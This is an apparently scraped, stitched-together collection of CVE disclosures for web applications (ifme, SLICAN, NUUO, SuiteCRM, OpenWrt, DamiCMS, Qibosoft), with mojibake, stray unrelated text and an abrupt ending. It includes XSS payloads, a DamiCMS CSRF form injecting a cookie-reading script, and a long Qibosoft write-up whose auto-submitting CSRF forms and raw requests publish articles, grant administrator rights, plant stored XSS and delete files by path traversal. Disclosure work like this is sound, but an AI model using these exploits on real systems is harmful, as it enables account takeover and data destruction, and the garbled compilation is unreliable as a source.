In â€œifmeâ€?, versions 1.0.0 to v7.31.4 are vulnerable against stored XSS vulnerability (notifications section) which can be directly triggered by sending an ally request to the admin.

@@ -4,7 +4,7 @@ let(:uniqueid) { 'uniqueid' }  
describe '#comment\_link' do it 'returns correct link' do it 'returns the correct link' do data \= { cutoff: false, user: 'Julia Nguyen', @@ -16,27 +16,60 @@ } expect(comment\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/moments/1">Julia Nguyen commented "Hello" on typename</a>') end  
it 'sanitizes and returns the correct link' do data \= { cutoff: false, user: '<IFRAME SRC="javascript:alert(document.domain);"></IFRAME>', email: 'julia@example.com', comment: 'Hello', typename: 'typename', type: 'type\_comment\_moment', typeid: 1, commentable\_id: 1 } expect(comment\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/moments/1">julia@example.com commented "Hello" on typename</a>') end end  
describe '#accepted\_ally\_link' do it 'returns correct link' do it 'returns the correct link' do data \= { user: 'Julia Nguyen', uid: 'uid' } expect(accepted\_ally\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/profile?uid=uid">Julia Nguyen accepted your ally request!</a>') end  
it 'sanitizes and returns the correct link' do data \= { user: '<IFRAME SRC="javascript:alert(document.domain);"></IFRAME>', email: 'julia@example.com', uid: 'uid' } expect(accepted\_ally\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/profile?uid=uid">julia@example.com accepted your ally request!</a>') end end  
describe '#new\_ally\_request\_link' do it 'returns correct link' do it 'returns the correct link' do data \= { user: 'Julia Nguyen', uid: 'uid', user\_id: 1 } expect(new\_ally\_request\_link(uniqueid, data)).to eq('<div id="uniqueid"><div>&lt;a href=&quot;/profile?uid=uid&quot;&gt;Julia Nguyen&lt;/a&gt; sent an ally request!</div><div><a rel="nofollow" data-method="post" href="/allies/add?ally\_id=1">Accept</a> | <a data-confirm="Are you sure?" rel="nofollow" data-method="post" href="/allies/remove?ally\_id=1">Reject</a></div></div>') end  
it 'sanitizes and returns the correct link' do data \= { user: '<IFRAME SRC="javascript:alert(document.domain);"></IFRAME>', email: 'julia@example.com', uid: 'uid', user\_id: 1 } expect(new\_ally\_request\_link(uniqueid, data)).to eq('<div id="uniqueid"><div>&lt;a href=&quot;/profile?uid=uid&quot;&gt;julia@example.com&lt;/a&gt; sent an ally request!</div><div><a rel="nofollow" data-method="post" href="/allies/add?ally\_id=1">Accept</a> | <a data-confirm="Are you sure?" rel="nofollow" data-method="post" href="/allies/remove?ally\_id=1">Reject</a></div></div>') end end  
describe '#group\_link' do @@ -48,32 +81,57 @@ group\_id: 1 } end let(:dirty\_data) do { type: type, user: '<IFRAME SRC="javascript:alert(document.domain);"></IFRAME>', email: 'julia@example.com', group: 'Group name', group\_id: 1 } end context 'type is new\_group' do let(:type) { 'new\_group' } it 'returns correct link' do it 'returns the correct link' do expect(group\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/groups/1">Julia Nguyen created a group "Group name"</a>') end  
it 'sanitizes and returns the correct link' do expect(group\_link(uniqueid, dirty\_data)).to eq('<a id="uniqueid" href="/groups/1">julia@example.com created a group "Group name"</a>') end end  
context 'type is new\_group\_member' do let(:type) { 'new\_group\_member' } it 'returns correct link' do it 'returns the correct link' do expect(group\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/groups/1">Julia Nguyen joined your group "Group name"</a>') end  
it 'sanitizes and returns the correct link' do expect(group\_link(uniqueid, dirty\_data)).to eq('<a id="uniqueid" href="/groups/1">julia@example.com joined your group "Group name"</a>') end end  
context 'type is add\_group\_leader' do let(:type) { 'add\_group\_leader' } it 'returns correct link' do it 'returns the correct link' do expect(group\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/groups/1">Julia Nguyen became a leader of "Group name"</a>') end  
it 'sanitizes and returns the correct link' do expect(group\_link(uniqueid, dirty\_data)).to eq('<a id="uniqueid" href="/groups/1">julia@example.com became a leader of "Group name"</a>') end end  
context 'type is remove\_group\_leader' do let(:type) { 'remove\_group\_leader' } it 'returns correct link' do it 'returns the correct link' do expect(group\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/groups/1">Julia Nguyen is no longer a leader of "Group name"</a>') end  
it 'sanitizes and returns the correct link' do expect(group\_link(uniqueid, dirty\_data)).to eq('<a id="uniqueid" href="/groups/1">julia@example.com is no longer a leader of "Group name"</a>') end end end  
@@ -88,32 +146,59 @@ typeid: 1 } end let(:dirty\_data) do { type: type, user: '<IFRAME SRC="javascript:alert(document.domain);"></IFRAME>', email: 'julia@example.com', group: 'Group name', typename: 'Meeting name', group\_id: 1, typeid: 1 } end context 'type is new\_meeting' do let(:type) { 'new\_meeting' } it 'returns correct link' do it 'returns the correct link' do expect(meeting\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/meetings/1">Julia Nguyen created a new meeting "Meeting name" for "Group name"</a>') end  
it 'sanitizes and returns the correct link' do expect(meeting\_link(uniqueid, dirty\_data)).to eq('<a id="uniqueid" href="/meetings/1">julia@example.com created a new meeting "Meeting name" for "Group name"</a>') end end  
context 'type is remove\_meeting' do let(:type) { 'remove\_meeting' } it 'returns correct link' do it 'returns the correct link' do expect(meeting\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/groups/1">Julia Nguyen has cancelled "Meeting name" for "Group name"</a>') end  
it 'sanitizes and returns the correct link' do expect(meeting\_link(uniqueid, dirty\_data)).to eq('<a id="uniqueid" href="/groups/1">julia@example.com has cancelled "Meeting name" for "Group name"</a>') end end  
context 'type is update\_meeting' do let(:type) { 'update\_meeting' } it 'returns correct link' do it 'returns the correct link' do expect(meeting\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/meetings/1">Julia Nguyen has updated "Meeting name" for "Group name"</a>') end  
it 'sanitizes and returns the correct link' do expect(meeting\_link(uniqueid, dirty\_data)).to eq('<a id="uniqueid" href="/meetings/1">julia@example.com has updated "Meeting name" for "Group name"</a>') end end  
context 'type is join\_meeting' do let(:type) { 'join\_meeting' } it 'returns correct link' do it 'returns the correct link' do expect(meeting\_link(uniqueid, data)).to eq('<a id="uniqueid" href="/meetings/1">Julia Nguyen has joined "Meeting name" for "Group name"</a>') end  
it 'sanitizes and returns the correct link' do expect(meeting\_link(uniqueid, dirty\_data)).to eq('<a id="uniqueid" href="/meetings/1">julia@example.com has joined "Meeting name" for "Group name"</a>') end end end end

CVE-2021-25988: [#2052] Fix stored XSS in Notifications · ifmeorg/ifme@720a470

In â€œifmeâ€?, versions v7.22.0 to v7.31.4 are vulnerable against self-stored XSS in the contacts field as it allows loading  XSS payloads fetched via an iframe.

**Overview**

In “ifme”, versions v7.22.0 to v7.31.4 are vulnerable against self-stored XSS in the contacts field as it allows loading XSS payloads fetched via an iframe.

**Details**

IFme has a self-stored XSS vulnerability in Contacts field as it allows loading XSS payloads fetched via an iframe.

**PoC Details**

Access the application by going to http://localhost:3000/users/sign\_in and login with admin credentials. Go to http://localhost:3000/care\_plan and in Phone Number, enter the xss payload (found in PoC Code section). Refresh the page. We see that stored xss is triggered.

**PoC Code**

    <IFRAME SRC="javascript:alert(document.domain);"></IFRAME>

**Affected Environments**

v7.22.0 to v7.31.4

**Prevention**

Update to version v7.32

CVE-2021-25990: WhiteSource Vulnerability Database

SLICAN WebCTI 1.01 2015 is affected by a Cross Site Scripting (XSS) vulnerability. The attacker can steal the user's session by injecting malicious JavaScript codes which leads to Session Hijacking and cause user's credentials theft.

CVE-2021-45813

NUUO Network Video Recorder NVRsolo 3.9.1 is affected by a Cross Site Scripting (XSS) vulnerability. An attacker can steal the user's session by injecting malicious JavaScript codes which leads to session hijacking.

Inga filer i den här mappen.Logga in för att lägga till filer i den här mappen

CVE-2021-45812: NUUO – Google Drive

A persistent cross-site scripting (XSS) issue in the web interface of SuiteCRM before 7.10.35, and 7.11.x and 7.12.x before 7.12.2, allows a remote attacker to introduce arbitrary JavaScript via attachments upload, a different vulnerability than CVE-2021-39267 and CVE-2021-39268.

**\[CVEID\]**

CVE-2021-45903

**\[PRODUCT\]**

SuiteCRM

**\[VERSION\]**

before 7.10.35 and before 7.12.2

**\[PROBLEM TYPE\]**

Cross Site Scripting (XSS)

**\[DESCRIPTION\]**

A persistent cross-site scripting (XSS) issue in the web interface of SuiteCRM before 7.10.35 and before 7.12.2, allows a remote attacker to introduce arbitrary JavaScript via attachments upload, a different vulnerability than CVE-2021-39267 and CVE-2021-39268.

**Timeline:**

*   Reported to vendor 11.09.2021
*   Acknowledged 13.09.2021
*   Validated 13.09.2021
*   Fixed 17.12.2021

CVE-2021-45903: cves/CVE-2021-45903.md at main · ach-ing/cves

Reflected Cross Site Scripting (XSS) in SAFARI Montage versions 8.3 and 8.5 allows remote attackers to execute JavaScript codes.

CVE-2021-45425

OpenWrt 21.02.1 allows XSS via the NAT Rules Name screen.

*   Status Closed
*   Percent Complete
*   Task Type Bug Report
*   Category Website
*   Assigned To No-one
*   Operating System All
*   Severity Low
*   Priority Very Low
*   Reported Version openwrt-21.02
*   Due in Version Undecided
*   Due Date Undecided  
    
*   Private

Hello, excuse me!

XSS seems to exist！

Vulnerability location：  
1、Network  Firewall  Port Forwards  Add  Name  
2、Network  Firewall  Traffic Rules  Name  
2、Network  Firewall  NAT Rules  Name

POC： <img src=x onerror=alert(1)>

Closed by  Jo-Philipp Wich  
23.12.2021 16:14  
**Reason for closing:**  Fixed  

**Loading...**

CVE-2021-45906: FS#4199 : Storage XSS

A vulnerability in /damicms-master/admin.php?s=/Article/doedit of DamiCMS v6.0 allows attackers to compromise and impersonate user accounts via obtaining a user's session cookie.

Permalink

Cannot retrieve contributors at this time

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

After the administrator login in,open the poc poc：

      
      <body>
        <form action="http://172.16.100.28/damicms-master/admin.php?s=/Article/doedit" method="POST">
          <input type="hidden" name="title" value="æµ&#139;è&#175;&#149;äº&#167;å&#147;&#129;&lt;img&#32;src&#61;&quot;x&quot;&#32;onerror&#61;alert&#40;document&#46;cookie&#41;&#32;&gt;" />
          <input type="hidden" name="TitleFontColor" value="" />
          <input type="hidden" name="keywords" value="" />
          <input type="hidden" name="description" value="å&#158;&#139;å&#143;&#183;&#58;&#32;ä&#187;&#183;æ&#160;&#188;ï&#188;&#154;é&#157;&#162;è&#174;&#174;&#32;é&#162;&#156;è&#137;&#178;&#58;" />
          <input type="hidden" name="hits" value="69" />
          <input type="hidden" name="typeid" value="24" />
          <input type="hidden" name="imgurl" value="&#47;Public&#47;Uploads&#47;thumb&#47;thumb&#95;1393207060&#46;jpg" />
          <input type="hidden" name="isimg" value="1" />
          <input type="hidden" name="content" value="androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;span&#32;style&#61;&quot;white&#45;space&#58;normal&#59;&quot;&gt;androidå&#188;&#128;å&#143;&#145;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;&lt;&#47;span&gt;" />
          <input type="hidden" name="price" value="4000" />
          <input type="hidden" name="color" value="ç&#129;&#176;è&#137;&#178;" />
          <input type="hidden" name="product&#95;xinghao" value="M002457J" />
          <input type="hidden" name="submit" value="ä&#191;&#174;æ&#148;&#185;" />
          <input type="hidden" name="aid" value="66" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
    

damicms-master/admin.php?s=/Index/index Successfully inserted ![](https://github.com/wind-cyber/DamiCMS-v6.0.0-have-csrf-and-xss-Vulnerabilities-/raw/master/x)

![描述](https://github.com/wind-cyber/DamiCMS-v6.0.0-have-csrf-and-xss-Vulnerabilities-/raw/master/rpng/ZS4DTJV2YV%5DB6QRAEP0%25FH8.png)

CVE-2020-21236: DamiCMS-v6.0.0-have-csrf-and-xss-Vulnerabilities-/README.md at master · wind-cyber/DamiCMS-v6.0.0-have-csrf-and-xss-Vulnerabilities-

An issue in /admin/index.php?lfj=mysql&action=del of Qibosoft v7 allows attackers to arbitrarily delete files.

**Foreword**

The csrf vulnerabilities exists almost everywhere in the application. Due to a number of background vulnerabilities, just with a few tricks, an attacker can take over the application. Next, I’ll show you a few problems caused by CSRF combined with other background vulnerabilities.  
if you want to reproduce these vuls , please go to qisoft and download “齐博CMS整站系统v7”

**0x01 CSRF in publishing articles**

position: /member/post.php?job=postnew&step=post

a normal http request like this:

    POST /qibo7/member/post.php?job=postnew&step=post HTTP/1.1
    Host: localhost:8123
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 1005
    Connection: close
    Referer: http://localhost:8123/qibo7/member/post.php?job=postnew&only=1&mid=0
    Cookie: USR=faol4ey2%091%091571797336%09http%3A%2F%2Flocalhost%3A8123%2Fqibo7%2Fdo%2Fupfile.php%3Ffn%3Duppic%26dir%3Darticle%2F%26ISone%3D1; __tins__20133593=%7B%22sid%22%3A%201571797312008%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201571799136084%7D; __51cke__=; __51laig__=42; Admin=1%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1571738330; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1571738742; passport=1%09admin%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774
    Upgrade-Insecure-Requests: 1
    
    fid=4&postdb%5Btitle%5D=ceshi2&postdb%5Btitlecolor%5D=ceshi&postdb%5Bfonttype%5D=1&postdb%5Bforbidcomment%5D=1&postdb%5Bkeywords%5D=ceshi&select2=&postdb%5Bauthor%5D=&postdb%5Bcopyfrom%5D=&select=&postdb%5Bcopyfromurl%5D=&postdb%5Bpicurl%5D=&postdb%5Bautomakesmall%5D=1&picWidth=300&picHeight=225&postdb%5Bdescription%5D=&postdb%5Byz%5D=1&PageNum=3000&postdb%5Bcontent%5D=1233333323%3Cbr+%2F%3E%0D%0A&Submit=+%E6%8F%90+%E4%BA%A4+&postdb%5Bbak_id%5D=&mid=0&i_id=&aid=0&rid=&only=1&postdb%5Bsmalltitle%5D=&postdb%5Bhtmlname%5D=&postdb%5Btpl%5D%5Bhead%5D=&postdb%5Btpl%5D%5Bfoot%5D=&postdb%5Btpl%5D%5Bbencandy%5D=&postdb%5Bstyle%5D=&postdb%5Bposttime%5D=&postdb%5Bbegintime%5D=&postdb%5Bendtime%5D=&postdb%5Bhits%5D=&postdb%5Bpasswd%5D=&postdb%5Bmoney%5D=&postdb%5Bsubhead%5D=&vote_db%5Bname%5D=&vote_db%5Btype%5D=1&vote_db%5Blimittime%5D=&vote_db%5Blimitip%5D=0&vote_db%5Bforbidguestvote%5D=0&vote_db%5Bbegintime%5D=&vote_db%5Bendtime%5D=&vote_db%5Babout%5D=&vote_db%5Bvotetype%5D=0&textfield=1&hiddenField=0
    

from the request, we can find that there is not a csrf token, besides, the app does not check the referer.Then, we can generate a csrf poc like the one below by burpsuite:

    <html>
      
      <body>
      <script>history.pushState('', '', '/')</script>
        <form id="csrf" action="http://localhost:8123/qibo7/member/post.php?job=postnew&step=post" method="POST">
          <input type="hidden" name="fid" value="4" />
          <input type="hidden" name="postdb&#91;title&#93;" value="you have been hacked" />
          <input type="hidden" name="postdb&#91;titlecolor&#93;" value="ceshi" />
          <input type="hidden" name="postdb&#91;fonttype&#93;" value="1" />
          <input type="hidden" name="postdb&#91;forbidcomment&#93;" value="1" />
          <input type="hidden" name="postdb&#91;keywords&#93;" value="ceshi" />
          <input type="hidden" name="select2" value="" />
          <input type="hidden" name="postdb&#91;author&#93;" value="" />
          <input type="hidden" name="postdb&#91;copyfrom&#93;" value="" />
          <input type="hidden" name="select" value="" />
          <input type="hidden" name="postdb&#91;copyfromurl&#93;" value="" />
          <input type="hidden" name="postdb&#91;picurl&#93;" value="" />
          <input type="hidden" name="postdb&#91;automakesmall&#93;" value="1" />
          <input type="hidden" name="picWidth" value="300" />
          <input type="hidden" name="picHeight" value="225" />
          <input type="hidden" name="postdb&#91;description&#93;" value="" />
          <input type="hidden" name="postdb&#91;yz&#93;" value="1" />
          <input type="hidden" name="PageNum" value="3000" />
          <input type="hidden" name="postdb&#91;content&#93;" value="1233333323&lt;br&#32;&#47;&gt;&#13;&#10;" />
          <input type="hidden" name="Submit" value="&#32;æ&#143;&#144;&#32;äº&#164;&#32;" />
          <input type="hidden" name="postdb&#91;bak&#95;id&#93;" value="" />
          <input type="hidden" name="mid" value="0" />
          <input type="hidden" name="i&#95;id" value="" />
          <input type="hidden" name="aid" value="0" />
          <input type="hidden" name="rid" value="" />
          <input type="hidden" name="only" value="1" />
          <input type="hidden" name="postdb&#91;smalltitle&#93;" value="" />
          <input type="hidden" name="postdb&#91;htmlname&#93;" value="" />
          <input type="hidden" name="postdb&#91;tpl&#93;&#91;head&#93;" value="" />
          <input type="hidden" name="postdb&#91;tpl&#93;&#91;foot&#93;" value="" />
          <input type="hidden" name="postdb&#91;tpl&#93;&#91;bencandy&#93;" value="" />
          <input type="hidden" name="postdb&#91;style&#93;" value="" />
          <input type="hidden" name="postdb&#91;posttime&#93;" value="" />
          <input type="hidden" name="postdb&#91;begintime&#93;" value="" />
          <input type="hidden" name="postdb&#91;endtime&#93;" value="" />
          <input type="hidden" name="postdb&#91;hits&#93;" value="" />
          <input type="hidden" name="postdb&#91;passwd&#93;" value="" />
          <input type="hidden" name="postdb&#91;money&#93;" value="" />
          <input type="hidden" name="postdb&#91;subhead&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;name&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;type&#93;" value="1" />
          <input type="hidden" name="vote&#95;db&#91;limittime&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;limitip&#93;" value="0" />
          <input type="hidden" name="vote&#95;db&#91;forbidguestvote&#93;" value="0" />
          <input type="hidden" name="vote&#95;db&#91;begintime&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;endtime&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;about&#93;" value="" />
          <input type="hidden" name="vote&#95;db&#91;votetype&#93;" value="0" />
          <input type="hidden" name="textfield" value="1" />
          <input type="hidden" name="hiddenField" value="0" />
        </form>
        <script>
            var poc = document.getElementById("csrf");
            poc.submit()
        </script>
      </body>
    </html>
    
    

attacker just need to save the poc as a html and put it on his web server, then send the evil url to another users ,If the user clicks the evil url when logged into the system, he will publish an article(and the article title is defind in the poc) without his knowledge.Now, I will show you the details. I login admin account locally:

and I try to request the evil url(http://localhost/test/csrf\_poc1.php), then when we back to the index.php we will find that one more article is published with title “you have been hacked”!

**0x02 CSRF to Privilege Escalation (add an super administrator)**

position: /admin/index.php?lfj=member&action=editmember

normal request(change user “axin” to administrator):

    POST /qibo7/admin/index.php?lfj=member&action=editmember HTTP/1.1
    Host: localhost:8123
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 633
    Connection: close
    Referer: http://localhost:8123/qibo7/admin/index.php?lfj=member&job=editmember&uid=2
    Cookie: USR=faol4ey2%096%091571798905%09http%3A%2F%2Flocalhost%3A8123%2Fqibo7%2Fdo%2Fregfield.php%3Fjob%3Dreg%26uid%3D2%260.20012388446694007; __tins__20133593=%7B%22sid%22%3A%201571797312008%2C%20%22vd%22%3A%203%2C%20%22expires%22%3A%201571799269555%7D; __51cke__=; __51laig__=43; Admin=1%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1571738330; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1571738742; passport=1%09admin%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; adminID=CDtWAVhaCDkAVQwCWgdXB1ZQWAdUB1BQVFVZA1cOAlVbCg9XVlVfCQ%3D%3D8991c7cf95
    Upgrade-Insecure-Requests: 1
    
    postdb%5Busername%5D=axin&postdb%5Bpassword%5D=5f4dcc3b5aa765d61d8327deb882cf99&postdb%5Bnewpassword%5D=&postdb%5Bgroupid%5D=3&ConfigDB%5Bendtime%5D=&postdb%5Bemail%5D=770284144%40qq.com&postdb%5Bicon%5D=&picWidth=150&picHeight=150&postdb%5Bmoney%5D=5&postdb%5Btotalspace%5D=0&postdb%5Boltime%5D=13226&postdb%5Bsex%5D=0&postdb%5Byz%5D=1&postdb%5Bintroduce%5D=&postdb%5Boicq%5D=&postdb%5Bmsn%5D=&postdb%5Bhomepage%5D=&postdb%5Baddress%5D=&postdb%5Bpostalcode%5D=&postdb%5Btelephone%5D=&postdb%5Bmobphone%5D=&postdb%5Bidcard%5D=&postdb%5Btruename%5D=&email_yz=0&mob_yz=0&idcard_yz=0&Submit=%E4%BF%AE+%E6%94%B9&uid=2&postdb%5Bhits%5D2=2
    

then, we can generate a csrf poc by burpsuite:

    <html>
    
    <body>
    <script>history.pushState('', '', '/')</script>
    <form id="csrf" action="http://localhost:8123/qibo7/admin/index.php?lfj=member&action=editmember" method="POST">
        <input type="hidden" name="postdb&#91;username&#93;" value="axin" />
        <input type="hidden" name="postdb&#91;password&#93;" value="5f4dcc3b5aa765d61d8327deb882cf99" />
        <input type="hidden" name="postdb&#91;newpassword&#93;" value="" />
        <input type="hidden" name="postdb&#91;groupid&#93;" value="3" />
        <input type="hidden" name="ConfigDB&#91;endtime&#93;" value="" />
        <input type="hidden" name="postdb&#91;email&#93;" value="770284144&#64;qq&#46;com" />
        <input type="hidden" name="postdb&#91;icon&#93;" value="" />
        <input type="hidden" name="picWidth" value="150" />
        <input type="hidden" name="picHeight" value="150" />
        <input type="hidden" name="postdb&#91;money&#93;" value="5" />
        <input type="hidden" name="postdb&#91;totalspace&#93;" value="0" />
        <input type="hidden" name="postdb&#91;oltime&#93;" value="13226" />
        <input type="hidden" name="postdb&#91;sex&#93;" value="0" />
        <input type="hidden" name="postdb&#91;yz&#93;" value="1" />
        <input type="hidden" name="postdb&#91;introduce&#93;" value="" />
        <input type="hidden" name="postdb&#91;oicq&#93;" value="" />
        <input type="hidden" name="postdb&#91;msn&#93;" value="" />
        <input type="hidden" name="postdb&#91;homepage&#93;" value="" />
        <input type="hidden" name="postdb&#91;address&#93;" value="" />
        <input type="hidden" name="postdb&#91;postalcode&#93;" value="" />
        <input type="hidden" name="postdb&#91;telephone&#93;" value="" />
        <input type="hidden" name="postdb&#91;mobphone&#93;" value="" />
        <input type="hidden" name="postdb&#91;idcard&#93;" value="" />
        <input type="hidden" name="postdb&#91;truename&#93;" value="" />
        <input type="hidden" name="email&#95;yz" value="0" />
        <input type="hidden" name="mob&#95;yz" value="0" />
        <input type="hidden" name="idcard&#95;yz" value="0" />
        <input type="hidden" name="Submit" value="ä&#191;&#174;&#32;æ&#148;&#185;" />
        <input type="hidden" name="uid" value="2" />
        <input type="hidden" name="postdb&#91;hits&#93;2" value="2" />
        <input type="submit" value="Submit request" />
    </form>
    <script>
        var poc = document.getElementById("csrf");
        poc.submit()
    </script>
    </body>
    </html>
    

the poc is to change user “axin” to administrator, if you want to reproduce the attack, you should register a common user first, and then generate csrf poc yourself.

from the picture below , we can see that the user axin is just a common user.  

but after the admin click the evil url, the user axin will be admin !!

**0x03 Stored XSS in background**

position:/admin/index.php?lfj=friendlink&action=add  
request:

    POST /qibo7/admin/index.php?lfj=friendlink&action=add HTTP/1.1
    Host: localhost:8123
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 283
    Connection: close
    Referer: http://localhost:8123/qibo7/admin/index.php?lfj=friendlink&job=add
    Cookie: USR=faol4ey2%091%091571805064%09http%3A%2F%2Flocalhost%3A8123%2Fqibo7%2Fadmin%2Findex.php%3Flfj%3Dfriendlink%26job%3Dadd; __tins__20133593=%7B%22sid%22%3A%201571802713278%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201571805446751%7D; __51cke__=; __51laig__=47; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1571738330; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1571738742; passport=1%09admin%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; Admin=1%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; adminID=CDtWAVhaCDkAVQwCWgdXB1ZQWAdUB1BQVFVZA1cOAlVbCg9XVlVfCQ%3D%3D8991c7cf95
    Upgrade-Insecure-Requests: 1
    
    postdb%5Bname%5D=axin&postdb%5Bfid%5D=2&postdb%5Burl%5D=%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E&postdb%5Blogo%5D=&postdb%5Bdescrip%5D=&postdb%5Bifhide%5D=0&postdb%5Byz%5D=1&postdb%5Biswordlink%5D=0&postdb%5Bendtime%5D=&Submit=%E6%8F%90%E4%BA%A4%E6%95%B0%E6%8D%AE&id=
    

No dangerous characters are escaped， so we can insert our payload like below:  
"><script>alert(1);</script>  

  
  
of course, we can also combine the xss with the csrf to do more !

**0x04 Arbitrary File Deletion in background**

position:/admin/index.php?lfj=mysql&action=del

poc:

    POST /qibo7/admin/index.php?lfj=mysql&action=del HTTP/1.1
    Host: localhost:8123
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 63
    Connection: close
    Referer: http://localhost:8123/qibo7/admin/index.php?lfj=mysql&job=del
    Cookie: USR=faol4ey2%091%091571799626%09http%3A%2F%2Flocalhost%3A8123%2Fqibo7%2Fadmin%2Findex.php%3Flfj%3Dmysql%26job%3Ddel; __tins__20133593=%7B%22sid%22%3A%201571797312008%2C%20%22vd%22%3A%203%2C%20%22expires%22%3A%201571799269555%7D; __51cke__=; __51laig__=43; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1571738330; Hm_lpvt_7b43330a4da4a6f4353e553988ee8a62=1571738742; passport=1%09admin%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; Admin=2%09AgIFAABRVlMDWQNWAg1WV1RUWgACDl0HVg8OA1dVXAk%3D940a495774; adminID=V29XS10LbVNSA1EBBgNVBwBXUQQNXQEBVF4GBVNcUlZdXgRQUlxd14a26ee802
    Upgrade-Insecure-Requests: 1
    
    baktime=../test.php&Submit=%E5%88%A0%E9%99%A4%E6%95%B0%E6%8D%AE
    

The problem occurred when the backup database was deleted， we can control the parameter “baktime”, and we can use ../ to achieve directory traversal purpose, so we can delete some web pages.I will show you details next.

firstly, create a file named axin.php in the root path of the application like below

and then send our payload

now, the file axin.php created just now has been deleted!

of course, we can also combine the vul with csrf to do more !

CVE-2020-20944: some vulnerabilities in qibosoft(齐博CMS整站系统v7)_tnt阿信的博客-CSDN博客

Qibosoft v7 contains a stored cross-site scripting (XSS) vulnerability in the component /admin/index.php?lfj=friendlink&action=add.

![](https://img-blog.csdnimg.cn/20200708203502702.gif#pic_center)

**Foreword**

